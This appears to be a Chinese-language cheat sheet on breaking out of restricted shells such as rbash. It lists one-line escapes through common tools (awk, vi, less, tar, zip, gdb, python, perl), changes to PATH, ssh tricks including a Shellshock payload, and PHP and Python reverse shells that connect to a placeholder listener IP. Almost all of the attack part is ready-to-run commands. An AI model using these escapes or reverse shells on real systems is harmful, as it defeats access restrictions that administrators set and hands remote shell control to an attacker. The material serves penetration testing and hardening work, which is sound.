Restricted Shell是受限shell环境,所谓受限shell环境,指的是一个会阻止/限制某些命令(如cd、ls、echo等)或“阻止”SHELL、PATH、USER等环境变量的shell环境。有些时候,受限shell环境可能会阻止重定向输出操作符如>,>>,或者其他使用这些重定向的命令。实际上,常见的受限shell环境类型包括rbash、rksh和rsh。

可用命令绕过

/字符绕过

不被运行的情况

image-20211210103715084

允许情况:直接输入以下命令

1
2
/bin/bash
/bin/sh

cp命令绕过

可以直接复制/bin/bash到本用户目录

1
2
3
4
cp /bin/bash bash1
./bash1
cp /bin/sh sh1
./sh1

awk

1
2
awk 'BEGIN {system("/bin/sh")}'
awk 'BEGIN {system("/bin/bash")}'

image-20211210134151598

less/more

在末行模式直接执行

1
! 'sh'

image-20211210140813076

image-20211210140915460

man

先执行man 不能显示完全,直接输入!/bin/bash

image-20211210142059834

git help status 同理

可用软件绕过

vi/vim

在末行模式输入:set shell=/bin/bash

image-20211210112621431

在末行模式执行:shell

1
export -p

image-20211210113722958

修改PATH

1
export PATH="/usr/sbin:/usr/bin:/rbin:/bin"

PATH和SHELL变量很可能是’-rx’,这意味着你只能执行不能写入,如果可写,你就可以直接写入/bin/bash

image-20211209175427171

ed编辑器

先执行ed再执行'/bin/bash'

image-20211210114635605

zip

1
zip /tmp/test.zip /tmp/test -T --unzip-command="sh -c/bin/bash"

tar

1
tar cf /dev/null testfile --checkpoint=1 --checkpointaction=exec=/bin/bash

FTP

1
ftp > !/bin/sh

GDB

1
gdb > !/bin/sh

可用编程语言绕过

expect

执行expect 然后执行sh

image-20211210135444692

python

1
python -c 'import os; os.system("/bin/sh")'

perl

1
perl -e 'exec "/bin/sh";'

lua

先执行lua再执行os.execute('/bin/sh')

image-20211210135752705

反弹shell绕过

php

1
php -r '$sock=fsockopen("LISTENING IP",LISTENING PORT);exec("/bin/sh -i <&3 >&3 2>&3");'

python

1
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("IP",PORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

ssh绕过

1
2
3
4
ssh username@IP - t "/bin/sh" or "/bin/bash"
ssh username@IP -t "bash --noprofile"
ssh username@IP -t "() { :; }; /bin/bash" (shellshock)
ssh -o ProxyCommand="sh -c /tmp/yourfile.sh" 127.0.0.1 (SUID)